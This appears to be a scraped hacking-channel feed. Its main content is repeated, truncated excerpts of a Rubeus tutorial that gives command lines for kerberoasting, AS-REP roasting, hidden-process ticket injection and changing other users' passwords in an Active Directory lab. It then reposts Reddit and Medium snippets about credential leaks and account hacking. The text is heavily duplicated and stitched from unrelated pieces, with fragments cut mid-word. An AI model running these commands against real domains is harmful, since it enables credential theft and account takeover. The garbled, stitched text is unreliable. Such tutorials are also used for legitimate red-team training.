rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSG6KQOcQoWYpF5MzdoWkUhvbfh-wHE4gxP8O6Yl4voZ3JnKq8oVwXRaSa40UnCuxwo3m1DrgGwZMXGBuiq4C0doAbwWsIyI0GI4birFo3bUjathTtpr8urL682N2quqoV-7QBYra87w90v1ma5x9YJ7zklACIW8KL5zrboywrK_gg7YCsoUMzZkWZWw/s16000/36.png?w=640&ssl=1
As you can see above, a valid Kerberos hash has been dumped by kerberoasting LDAP service. These can be cracked using hashcat with module number 13100.
/tgtdeleg can be used to perform the tgt delegation trick to roast all rc4 enabled accounts
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /tgtdeleg
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkbBpTLaMY-3Oo9rO9snMDKjIzxFYSYrFpxM5rWMJzRvA0IYcHQq3Nf7FIMujlKMYice4nIEwcd4TD3mjwwO_E0TGXxrIIOV0kp2XyO205NBksAAFyOQpEt5EGGHRMfFtis2OU1Qnr2Sg_jlc-UGqDfMrUqMZQK4KrqEYIDogewDQpwked05vSgVp0kg/s16000/37.png?w=640&ssl=1
/aes flag can be used to roast all AES enabled accounts while using KerberosRequestorSecurityToken
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /aes
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCoQ50F_1zB4Ssky8pAVoQ9YFszN5PCxxdLFrrwh3uDnas-R7TsDO-Wnlp2BDGuDfWys30kjQpzGKXasJqTVyGXSWiT3MZb6dQdls1LMrETa5r40cr7leJ3HCoeewdJ54MHhQ1Yxrk6DRt-liZmHsNxXZqJzK_EX2GiWaC2i2UUUEXJ0DKrBwti5AuLw/s16000/38.png?w=640&ssl=1
Alternate domain credentials to perform Kerberoasting and searching for users to kerberoast can be done using the /creduser and /credpassword
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /creduser:ignite.local\Administrator /credpassword:Ignite@987
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9KDywl9UQrBQ_k5tNavZy2rdV4VevX_uDu-PfN6w1FtoOQq9KqhwNCxOZao16bEy6ivWwEJSdCtd0aXz3blftnWjWk24shGO9yqyuyUgWnqTZHgK6oY54G21x_4-dWrPowZzfs_F_J3qDqaR3I6ZLlkBOaCbfMlO3Jh0qBoweOcJ0Y5c-qYGxHnOpag/s16000/39.png?w=640&ssl=1
Some customisation flags can also be specified like
/pwdsetbefore: In the format MM-dd-yyyy then only the accounts whose password was last changed before the specified date shall be roasted
/resultlimit: The number of accounts that shall be roasted will be limited to this value
/delay: Specifies the miliseconds interval between two consecutive TGS requests
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /pwdsetbefore:08-05-2022 /resultlimit:3 /delay:1000
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGp2n7e_k6PIrVWMoAU5Ar5ssxs8-0MGH8W0INUgzVeXal59GlklOm3t3BT7Rq2jA6uFIfuwjv_E3mUlrffZMHF3AlYNdaZwpN1fVDgf5BnUY-hmhgFprtyH7qSwM5hjgV7uk211JhlIcUAx7tZkVdbCs4MUDRo-0J_Sa49FIfHDbYQtLVSN7bnX8NFg/s16000/40.png?w=640&ssl=1
/rc4opsec: tgtdeleg trick is used and accounts without AES enabled are roasted.
rubeus.e[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
rvest option rubeus.exe harvest /interval:30 https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblt2mvrwOxXES3BxOqsSuqsNzpoVnkMvy6FZv_AiR-6Te08TnXZJSeySEwxCZpvgntHTp-C5YsudZjtHT0ly7beAumcqaZ-cO0Hjh9PrYBLHCFABIY2HrG3cs3q_t0wnn5sXlmBLgxFL_UXS…
xe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /rc4opsec
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwyrDOtkPzh5LZbcfsZJ9FEocNKV-9il9JGWPR_HaTaMnAC5UWRBB_TUM7x88GTadvhrKsKgUVkEK5khHZBWMKQ1ewZJ9A3HLH9aNXMniZmKIaohYFn1ECH99zFXN6t2PjXi0DYUEA0YyS5TXgl5GqsllIxpGfYKs0UGgtdZ1UUphEaPAsz7kBX5eyA/s16000/41.png?w=640&ssl=1
/simple: hashes are output in the console one per line
/nowrap: with this option Kerberos results will not be line wrapped
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /simple /nowrap
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7Ga9vyUX0uTt8hOdko2dAXvg_37pOggHFM-XFDyVJkVPs-bSR2kz_PcYBNydinv6pm_OqXvl8NIr9fj0RhqHUp_SWZg46WHmJqfnbfd2mJJOLTl7V5kK2IMYChbs8gyZ_iakZkma6kgq_RWmONXPI821P8VgveNa_ntvkPkJsvLIf90eQsQR-2c13Nw/s16000/42.png?w=640&ssl=1
/outfile: Can be used to store the hash in an output file
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type.hash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhra04QzY_hGAahQiNOKXRPotFRPSk-XpAa9vFn51feR8w1I6BJEIHKBxZeoFzUnAWuLWV7D_Ubs21aMCtfDMeF6q_im5O4PjQiitD0_OdsuK9vds5BhlBPgo41tNjedqMMfnUu1bmeQpSmrAMoflWYQtC-iSZHdAyDjDdfRv9zOvh9b_2oR6B9aUvOMg/s16000/43.png?w=640&ssl=1 ASREPRoastA service ticket is obtained using TGT and that TGT is obtained by validating a first step called “pre-authentication.” If this pre-authentication requirement is removed for accounts, it makes them vulnerable to asreproasting.
If the user has “Do not use Kerberos pre-authentication” enabled, then an attacker can recover a Kerberos AS-REP encrypted with the users RC4-HMAC’d password and he can attempt to crack this ticket offline.
You can read our detailed article here.
An SPN can be specified with asreproast option like
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9YcQHUZ1nFjYCfAWOyN2pEuNCywh46vLpyGSu27NaKLskdKkOOazFAiWt1-hWuxJAPRYd6cPK2vNtFsoUgpEbioFP9L52kef0KDwBupPpn03q3p-md-TYm9mkVngcwiT8UCkSB5GNC7hGjZPdueSiuV_0QnjSvvUVPZ8zPCuvIFXlpQbZNcwn5hQH9g/s16000/44.png?w=640&ssl=1
As you can see, all the accounts with setting “Do not use Kerberos pre-authentication” enabled are vulnerable to the attack and their AS-REP encrypted with RC4-HMAC password has been dumped.
These hashes can also be dumped in a specific hashcat format. By default the hashes can be cracked using JtR.
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /format:hashcat
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuzZFYvdyjmSuLCVCFSeE0DzQsWRGWst6-07B3fM6OhJC_ynL1SYUnjeuDiK2_21T0CBR85qRc-Vk_kuLZCiRNjxNihNPRkXtFxPl4zYemQ0feJDhib8zhRjFMCQkSyuOIB4OkGbeaj3EaYUp9qKiVkH_3lWK093sxHMtpZUh6sCfcWuoyCDR_1y6EXw/s16000/45.png?w=640&ssl=1
/domain and /dc are optional flags that can be used to explicitly define the domain and controller accounts.
rubeus.exe asreproast /domain:ignite.local /dc:dc1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU5K76cQsIuSu9GrxN3vgUKqkJUU___OkYGcPdp7Hd7u2JxvSeRWBE-OF0jLxWzqHLe-KOaKtnWxtRg6CZGH0J9Lm52J6vtH-m-8NyBH3WS-4_qyshTvp-mHPSaBQIyB81lg7tr4uXN4qEN3AEoSx531T9Voco3yD_U4tmfLQEUtMlbULzoA8_dQ4dmg/s16000/46.png?w=640&ssl=1
/outfile can be used to save this hash in an output file.
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type2.hash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAmwIPnXN2_pehKSFN13XmPFM9Qs5lG1rPdC6QwVHaYi-1eadfLXXxvfyxx9cfgqu2Vo-Pq-tdWFdCN0Um04hqWsebRFGOU8P_coOeU5SUlgRVjZQe2uJHepN3GxCxqtwjzdSsdQdkvlggWxWFB2lhCB8KgleuEiPNiLCz5NJ4w76KtI_1rBotxC8Qww/s16000/47.png?w=640&ssl=1
If /ldaps is used, LDAP query shall go over secured LDAP (port 636)
rubeus.exe asreproast /user:harshitrajpal /ldaps
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLWjJ9T54E7EuA6kTlhxQM8rPoFBs5IFXBrln66dSaa40ah7Vzqlnfi1aFoylz4BwNSMl9jmuOcN-wO5HSLrKw-_ktEzrbY5-7BY-Im5AwHrAgJLLeszFR5pAXhmy[...]
___________________________
@hacking_Attack
@Hacking_Video
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwyrDOtkPzh5LZbcfsZJ9FEocNKV-9il9JGWPR_HaTaMnAC5UWRBB_TUM7x88GTadvhrKsKgUVkEK5khHZBWMKQ1ewZJ9A3HLH9aNXMniZmKIaohYFn1ECH99zFXN6t2PjXi0DYUEA0YyS5TXgl5GqsllIxpGfYKs0UGgtdZ1UUphEaPAsz7kBX5eyA/s16000/41.png?w=640&ssl=1
/simple: hashes are output in the console one per line
/nowrap: with this option Kerberos results will not be line wrapped
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /simple /nowrap
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7Ga9vyUX0uTt8hOdko2dAXvg_37pOggHFM-XFDyVJkVPs-bSR2kz_PcYBNydinv6pm_OqXvl8NIr9fj0RhqHUp_SWZg46WHmJqfnbfd2mJJOLTl7V5kK2IMYChbs8gyZ_iakZkma6kgq_RWmONXPI821P8VgveNa_ntvkPkJsvLIf90eQsQR-2c13Nw/s16000/42.png?w=640&ssl=1
/outfile: Can be used to store the hash in an output file
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type.hash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhra04QzY_hGAahQiNOKXRPotFRPSk-XpAa9vFn51feR8w1I6BJEIHKBxZeoFzUnAWuLWV7D_Ubs21aMCtfDMeF6q_im5O4PjQiitD0_OdsuK9vds5BhlBPgo41tNjedqMMfnUu1bmeQpSmrAMoflWYQtC-iSZHdAyDjDdfRv9zOvh9b_2oR6B9aUvOMg/s16000/43.png?w=640&ssl=1 ASREPRoastA service ticket is obtained using TGT and that TGT is obtained by validating a first step called “pre-authentication.” If this pre-authentication requirement is removed for accounts, it makes them vulnerable to asreproasting.
If the user has “Do not use Kerberos pre-authentication” enabled, then an attacker can recover a Kerberos AS-REP encrypted with the users RC4-HMAC’d password and he can attempt to crack this ticket offline.
You can read our detailed article here.
An SPN can be specified with asreproast option like
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9YcQHUZ1nFjYCfAWOyN2pEuNCywh46vLpyGSu27NaKLskdKkOOazFAiWt1-hWuxJAPRYd6cPK2vNtFsoUgpEbioFP9L52kef0KDwBupPpn03q3p-md-TYm9mkVngcwiT8UCkSB5GNC7hGjZPdueSiuV_0QnjSvvUVPZ8zPCuvIFXlpQbZNcwn5hQH9g/s16000/44.png?w=640&ssl=1
As you can see, all the accounts with setting “Do not use Kerberos pre-authentication” enabled are vulnerable to the attack and their AS-REP encrypted with RC4-HMAC password has been dumped.
These hashes can also be dumped in a specific hashcat format. By default the hashes can be cracked using JtR.
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /format:hashcat
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuzZFYvdyjmSuLCVCFSeE0DzQsWRGWst6-07B3fM6OhJC_ynL1SYUnjeuDiK2_21T0CBR85qRc-Vk_kuLZCiRNjxNihNPRkXtFxPl4zYemQ0feJDhib8zhRjFMCQkSyuOIB4OkGbeaj3EaYUp9qKiVkH_3lWK093sxHMtpZUh6sCfcWuoyCDR_1y6EXw/s16000/45.png?w=640&ssl=1
/domain and /dc are optional flags that can be used to explicitly define the domain and controller accounts.
rubeus.exe asreproast /domain:ignite.local /dc:dc1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU5K76cQsIuSu9GrxN3vgUKqkJUU___OkYGcPdp7Hd7u2JxvSeRWBE-OF0jLxWzqHLe-KOaKtnWxtRg6CZGH0J9Lm52J6vtH-m-8NyBH3WS-4_qyshTvp-mHPSaBQIyB81lg7tr4uXN4qEN3AEoSx531T9Voco3yD_U4tmfLQEUtMlbULzoA8_dQ4dmg/s16000/46.png?w=640&ssl=1
/outfile can be used to save this hash in an output file.
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type2.hash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAmwIPnXN2_pehKSFN13XmPFM9Qs5lG1rPdC6QwVHaYi-1eadfLXXxvfyxx9cfgqu2Vo-Pq-tdWFdCN0Um04hqWsebRFGOU8P_coOeU5SUlgRVjZQe2uJHepN3GxCxqtwjzdSsdQdkvlggWxWFB2lhCB8KgleuEiPNiLCz5NJ4w76KtI_1rBotxC8Qww/s16000/47.png?w=640&ssl=1
If /ldaps is used, LDAP query shall go over secured LDAP (port 636)
rubeus.exe asreproast /user:harshitrajpal /ldaps
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLWjJ9T54E7EuA6kTlhxQM8rPoFBs5IFXBrln66dSaa40ah7Vzqlnfi1aFoylz4BwNSMl9jmuOcN-wO5HSLrKw-_ktEzrbY5-7BY-Im5AwHrAgJLLeszFR5pAXhmy[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
xe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /rc4opsec https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwyrDOtkPzh5LZbcfsZJ9FEocNKV-9il9JGWPR_HaTaMnAC5UWRBB_TUM7x88GTadvhrKsKgUVkEK5khHZBWMKQ1ewZJ9A3HLH9aNXMniZmKIaohYFn1ECH9…
iVE9VRRlj-eY1TjNlryOK7HvNXGWT6mDotM_eltYvtqjZCvFMpiMLwTcqQcTTA/s16000/48.png?w=640&ssl=1 CreatenetonlyThe option createnetonly uses the CreateProcessWithLogonW() API to create a new hidden process while returning the ID and LUID. This LUID can then be used with ptt option to apply this ticket in the newly created process. This prevents erasing of current tickets.
/ticket flag can be used to provide kirbi ticket of base64 blob with the created process.
rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe" /ticket:ticket.kirbi
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3FKa6ls_-29lSqgyft6xtWHX1Ej2Oj3qNBd6gcRL6ZWHAWHGJUU87S1-kwukPM_ENXC8w6gmapxAM25l75AJwJY3gMds-L0JwtbHNZhwseCLcOFtBWNfn5FCSLZibEsX8UbPoBmaGqCcHmlpEDl9FgtoTlk2DAKM5Fon6Y3tyJXUS11HHTFFjlhqGhA/s16000/49.png?w=640&ssl=1
As you can see, the process ID 3032 is associated with this hidden process and LUID given which can be used using the /luid flag. ChangepwThe Rubeus changepw option allows an attacker to change a user’s plaintext password from a TGT .kirbi file or a base64 blob. Hence, when used in conjunction with tgtdeleg or asktgt, we can change a user’s password just from it’s hash. For example, let’s set current user’s password to “Password@1!!!”
/ticket: we provided valid TGT of current user.
rubeus.exe changepw /ticket:doIFNDCC...bA== /new:Password@1!!!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHCPfcjKZuep_bsOMeMHhXWd8kT7ZeDlaXlBGHjRflEVXmRtBZPU0BD_RLJGcecu3rcR_zQ1kw_LNpYltwob_GdcoAZeuXP-vYV0KHwWe5r0snAonRtIbyIB2v689p97fe3211gyxUB8E1VyC-x8jQqDXbHNewLva59ZCzgRiOpnj2s0xUi4NBwUiWmw/s16000/50.png?w=640&ssl=1
As you can see, password for user ‘harshitrajpal’ has been changed successfully.
Now, we can choose a specific user which has the same password using the /targetuser option too (can be found out using the brute method). Note that necessary privileges may be required here.
rubeus.exe changepw /targetuser:ignite.local\mufasa /ticket:doIFNDCC...bA== /new:Password@1!!!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaRfmzU-7AOrIeF7uWsr7UsnmMxx_MyAt2GwbvBN_bGLMQlwMB4nDeuim8TmvtdLXbxqpNe41akjFa4MJBVtU6rHxNJ1X2Ux01bpt9eFg2PVE2AcV7gE9AiLsJ1Y3rB-bF_2h-hFiqJxL5UsgOOSwrkzFJq3QDKVuhrNef1KlV-76kN1i-TfDVFjt5lw/s16000/51.png?w=640&ssl=1
As you can see, Mufasa had the same password as harshitrajpal and his password got changed. CurrentluidA simple option to display current LUID. LUID can be utilised with other options by specifying with the /luid flag. For example, to purge ticket of a specific user, luid may be needed.
rubeus.exe currentluid
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYNYxL8Nxhbmw4Sh8RLN9ioPlyAzGrNhjKkXlIjKo4mGLgCoV1gjdSA02lXPKTsipsVp2armNhdtsUKpZjXh2OPzVwagCLoBux_Z5XXH4WAGLEJLuIPxPqIewbx877l-XMItna27k892C5VKxSuolCUoYLb_HlwJjYRbR14kXhyRhrbrItpQaPX4GPSA/s16000/52.png?w=640&ssl=1 ConclusionThe article talked about a C# implementation of various popular AD attacks covered in variety of major projects like Kekeo called “Rubeus.” It is a versatile tool which can be dropped on the victim’s machine and be used to perform various AD related attacks. We tried to cover a majority of options. A detailed wiki can be referred to here. The article is intended to serve as a quick ready reference for Rubeus usage. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post A Detailed Guide on Rubeus appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
/ticket flag can be used to provide kirbi ticket of base64 blob with the created process.
rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe" /ticket:ticket.kirbi
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3FKa6ls_-29lSqgyft6xtWHX1Ej2Oj3qNBd6gcRL6ZWHAWHGJUU87S1-kwukPM_ENXC8w6gmapxAM25l75AJwJY3gMds-L0JwtbHNZhwseCLcOFtBWNfn5FCSLZibEsX8UbPoBmaGqCcHmlpEDl9FgtoTlk2DAKM5Fon6Y3tyJXUS11HHTFFjlhqGhA/s16000/49.png?w=640&ssl=1
As you can see, the process ID 3032 is associated with this hidden process and LUID given which can be used using the /luid flag. ChangepwThe Rubeus changepw option allows an attacker to change a user’s plaintext password from a TGT .kirbi file or a base64 blob. Hence, when used in conjunction with tgtdeleg or asktgt, we can change a user’s password just from it’s hash. For example, let’s set current user’s password to “Password@1!!!”
/ticket: we provided valid TGT of current user.
rubeus.exe changepw /ticket:doIFNDCC...bA== /new:Password@1!!!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHCPfcjKZuep_bsOMeMHhXWd8kT7ZeDlaXlBGHjRflEVXmRtBZPU0BD_RLJGcecu3rcR_zQ1kw_LNpYltwob_GdcoAZeuXP-vYV0KHwWe5r0snAonRtIbyIB2v689p97fe3211gyxUB8E1VyC-x8jQqDXbHNewLva59ZCzgRiOpnj2s0xUi4NBwUiWmw/s16000/50.png?w=640&ssl=1
As you can see, password for user ‘harshitrajpal’ has been changed successfully.
Now, we can choose a specific user which has the same password using the /targetuser option too (can be found out using the brute method). Note that necessary privileges may be required here.
rubeus.exe changepw /targetuser:ignite.local\mufasa /ticket:doIFNDCC...bA== /new:Password@1!!!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaRfmzU-7AOrIeF7uWsr7UsnmMxx_MyAt2GwbvBN_bGLMQlwMB4nDeuim8TmvtdLXbxqpNe41akjFa4MJBVtU6rHxNJ1X2Ux01bpt9eFg2PVE2AcV7gE9AiLsJ1Y3rB-bF_2h-hFiqJxL5UsgOOSwrkzFJq3QDKVuhrNef1KlV-76kN1i-TfDVFjt5lw/s16000/51.png?w=640&ssl=1
As you can see, Mufasa had the same password as harshitrajpal and his password got changed. CurrentluidA simple option to display current LUID. LUID can be utilised with other options by specifying with the /luid flag. For example, to purge ticket of a specific user, luid may be needed.
rubeus.exe currentluid
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYNYxL8Nxhbmw4Sh8RLN9ioPlyAzGrNhjKkXlIjKo4mGLgCoV1gjdSA02lXPKTsipsVp2armNhdtsUKpZjXh2OPzVwagCLoBux_Z5XXH4WAGLEJLuIPxPqIewbx877l-XMItna27k892C5VKxSuolCUoYLb_HlwJjYRbR14kXhyRhrbrItpQaPX4GPSA/s16000/52.png?w=640&ssl=1 ConclusionThe article talked about a C# implementation of various popular AD attacks covered in variety of major projects like Kekeo called “Rubeus.” It is a versatile tool which can be dropped on the victim’s machine and be used to perform various AD related attacks. We tried to cover a majority of options. A detailed wiki can be referred to here. The article is intended to serve as a quick ready reference for Rubeus usage. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post A Detailed Guide on Rubeus appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
120k Email Credential Leaks | Plain Passwords
https://cdn-images-1.medium.com/max/610/1*nFUQbfvZmLFuClKn7MZc9g.png
It’s been a while since my last article publish here in medium. but in this article that I'm going to share with you is related to a Email…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
120k Email Credential Leaks | Plain Passwords
https://cdn-images-1.medium.com/max/610/1*nFUQbfvZmLFuClKn7MZc9g.png
It’s been a while since my last article publish here in medium. but in this article that I'm going to share with you is related to a Email…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
120k Email Credential Leaks | Plain Passwords
It’s been a while since my last article publish here in medium. but in this article that I'm going to share with you is related to a Email…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Should you Sell your old Hard Drives?
https://cdn-images-1.medium.com/max/2600/1*rPZOOglyIveCHQlGAcHoLA.jpeg
A quick or full format will only remove the file table, which is essentially an index that links the file names with the actual data…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Should you Sell your old Hard Drives?
https://cdn-images-1.medium.com/max/2600/1*rPZOOglyIveCHQlGAcHoLA.jpeg
A quick or full format will only remove the file table, which is essentially an index that links the file names with the actual data…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Should you Sell your old Hard Drives?
A quick or full format will only remove the file table, which is essentially an index that links the file names with the actual data blocks…
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Smishing - How to Recognize Dangerous Text Messages
https://external-preview.redd.it/bDYcEy44V42IEAveWpRWLD6R72Mssf-LlSyM8t3OvRY.jpg?width=640&crop=smart&auto=webp&s=f63a947d4319e84c83ef4dea93242cadb1d1e70b submitted by /u/DrinkMoreCodeMore
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Smishing - How to Recognize Dangerous Text Messages
https://external-preview.redd.it/bDYcEy44V42IEAveWpRWLD6R72Mssf-LlSyM8t3OvRY.jpg?width=640&crop=smart&auto=webp&s=f63a947d4319e84c83ef4dea93242cadb1d1e70b submitted by /u/DrinkMoreCodeMore
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Smishing - How to Recognize Dangerous Text Messages
Posted in r/hacking by u/DrinkMoreCodeMore • 1 point and 0 comments
hacking: security in practice
How often do you encounter services using non-default port numbers?
I know anything can run on any port, but I haven’t yet seen anything other than the default setup. Is it common to see systems setup using non-standard ports? I’ve heard that this can mess with things like nmap’s estimated services
submitted by /u/Agent-BTZ
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
How often do you encounter services using non-default port numbers?
I know anything can run on any port, but I haven’t yet seen anything other than the default setup. Is it common to see systems setup using non-standard ports? I’ve heard that this can mess with things like nmap’s estimated services
submitted by /u/Agent-BTZ
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
How often do you encounter services using non-default port numbers?
I know anything can run on any port, but I haven’t yet seen anything other than the default setup. Is it common to see systems setup using...
hacking: security in practice
I don't think this is much of a hacking but the internet is going to shutdown in my country and I don't know how to cross internet blockage.
I live in Iran and our government probably will block all access to global internet to censor our protests. we stiil will have access to national nthernet but that's not good. is there a way for me to cross this blockage?
submitted by /u/ario3831
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
I don't think this is much of a hacking but the internet is going to shutdown in my country and I don't know how to cross internet blockage.
I live in Iran and our government probably will block all access to global internet to censor our protests. we stiil will have access to national nthernet but that's not good. is there a way for me to cross this blockage?
submitted by /u/ario3831
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
I don't think this is much of a hacking but the internet is going...
I live in Iran and our government probably will block all access to global internet to censor our protests. we stiil will have access to national...
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
signal bots on telegram
hey there,
anyone has some content to study about signal bots on telegram?
i'm interesting in bots that send me a signal to help analisys of cassino's games (have not familiarity of this term in english, sorry).
Link below to demonstrate what i'm talk about:
https://www.youtube.com/watch?v=PrqUefbnEZc
submitted by /u/dogras420
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
signal bots on telegram
hey there,
anyone has some content to study about signal bots on telegram?
i'm interesting in bots that send me a signal to help analisys of cassino's games (have not familiarity of this term in english, sorry).
Link below to demonstrate what i'm talk about:
https://www.youtube.com/watch?v=PrqUefbnEZc
submitted by /u/dogras420
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
signal bots on telegram
hey there, anyone has some content to study about signal bots on telegram? i'm interesting in bots that send me a signal to help analisys of...
hacking: security in practice
Is it possible to hack into someone's phone just by a simple phone call, and you have nothing else, just their phone number?
I literally know nothing about hacking, I'm just curious.
submitted by /u/PratikBrahma101
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Is it possible to hack into someone's phone just by a simple phone call, and you have nothing else, just their phone number?
I literally know nothing about hacking, I'm just curious.
submitted by /u/PratikBrahma101
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Is it possible to hack into someone's phone just by a simple phone...
I literally know nothing about hacking, I'm just curious.
hacking: security in practice
How easy is it for a crazy ex to get my pass
I need opinions on this because I’m not too familiar with this stuff. Back in September texts were sent to my boyfriend over tiktok DM, posing as me and asking him for his snap password because my snapchat was “messed up” - AKA trying to log into his snap. The texts sent were very very realistic and the conversation was muted so I never saw it. Earlier today I was going through my DM’s for whatever reason and saw the texts. I told my boyfriend about it and he was like “oh yeah that was weird I knew it was a hacker because you were texting me on snapchat at the time” (guess he forgot to tell me or something). Since I just saw this now and never changed my password, the person has had access to my account this whole time but hasn’t done anything else. They only messaged my boyfriend - which is weird because I had other DM’s and I’m not sure how they knew we were together because we hadn’t posted together. He has a crazy ex but I didn’t think she would be that crazy. Would a random hacker do this? I’m just really worried it’s someone personal. No other social media was hacked
submitted by /u/orangeslice5151
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
How easy is it for a crazy ex to get my pass
I need opinions on this because I’m not too familiar with this stuff. Back in September texts were sent to my boyfriend over tiktok DM, posing as me and asking him for his snap password because my snapchat was “messed up” - AKA trying to log into his snap. The texts sent were very very realistic and the conversation was muted so I never saw it. Earlier today I was going through my DM’s for whatever reason and saw the texts. I told my boyfriend about it and he was like “oh yeah that was weird I knew it was a hacker because you were texting me on snapchat at the time” (guess he forgot to tell me or something). Since I just saw this now and never changed my password, the person has had access to my account this whole time but hasn’t done anything else. They only messaged my boyfriend - which is weird because I had other DM’s and I’m not sure how they knew we were together because we hadn’t posted together. He has a crazy ex but I didn’t think she would be that crazy. Would a random hacker do this? I’m just really worried it’s someone personal. No other social media was hacked
submitted by /u/orangeslice5151
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
How easy is it for a crazy ex to get my pass
I need opinions on this because I’m not too familiar with this stuff. Back in September texts were sent to my boyfriend over tiktok DM, posing as...